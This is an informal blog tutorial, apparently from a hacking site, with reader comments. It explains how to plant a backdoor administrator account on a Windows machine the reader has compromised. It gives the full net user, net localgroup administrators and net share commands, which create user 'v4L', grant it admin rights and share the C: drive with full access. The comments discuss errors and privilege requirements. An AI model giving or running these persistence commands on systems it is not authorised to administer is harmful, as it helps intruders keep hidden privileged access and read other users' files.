Type : Tips and Trick
Level : Easy
Today actually I just finished my exam… Chinese exam was absolutely very hard mate, because you need to know and read the characters
Okay just forget about my exam, today I just want to share a simple tips and trick for today, about "How to Add User With Administrator Rights Using Command Prompt". If you follow this tips and trick, maybe it will not exceed 1 minute, even for some of you can do it in less than 30 second
Ah I also just want to inform you that in next 2 articles(just wait for the update), I will post a tips and trick and also hacking tutorial about Remote Desktop (for some of you who don’t familiar with console, you will love it
)
This tips and trick will add a user with administrative rights, you will need it when you owned a system to add a user there.
Okay lets start it.
1. Command Prompt [or] shell you got from a compromised system
1. Open your command prompt and type this command :
net user /add v4L 12345
The command above will add user name v4L with password 12345. If you just add until this step, you just add user with limited privilege.
2. The next step, we continue to add another command :
net localgroup administrators v4L /add
Now in this 2nd step, we add our user v4L to administrators group. Now this user already has an administrative rights.
3. We move again to the last 3rd step, now lets type again another command :
net share concfg*C:\/grant:v4L,full
or
net share SHARE_NAME=c:\ /grant:v4L,full
The command above will grant user name v4L will full grant, that’s mean v4L can do everything on the system including see other users file
Hope it useful m8 ![]()
Do you need to already have admin privileges to do this?
#Neutron_Kaos
Yes you need it, you also can use this method while successfully compromise a system(you can view my other hacking tutorial how to make it)
Which tutorial is it?
Hello Vishnu
firstly, I’d like to show my appreciation for the tutorials you publish here, they are a useful guide in my attempts to master control of my computer.
I would like to ask a question regarding the 3rd line in the step by step…
the first two complete with no issue, the 3rd always takes me to a help list for syntax correction.
maybe I’m the only one encountering this problem, but it is frustrating nonetheless.
#Silentmjrt
hmm…when I add that script from backtrack it’s okay without error..
maybe you can give a try to escalate your privilege to system
maybe the fact i’m attempting this on windows 7 is the cause of the last line giving an error.
The first two lines add the account and enables administrator title. due to the error of the resulting error on last line I felt it incomplete.
Look at the cacls command, It can give a user access to files in the computer.
Access denied ?
#jack
nope
System error 5 has occured
Access is denied
#Ty
you need to do this from administrator or system privilege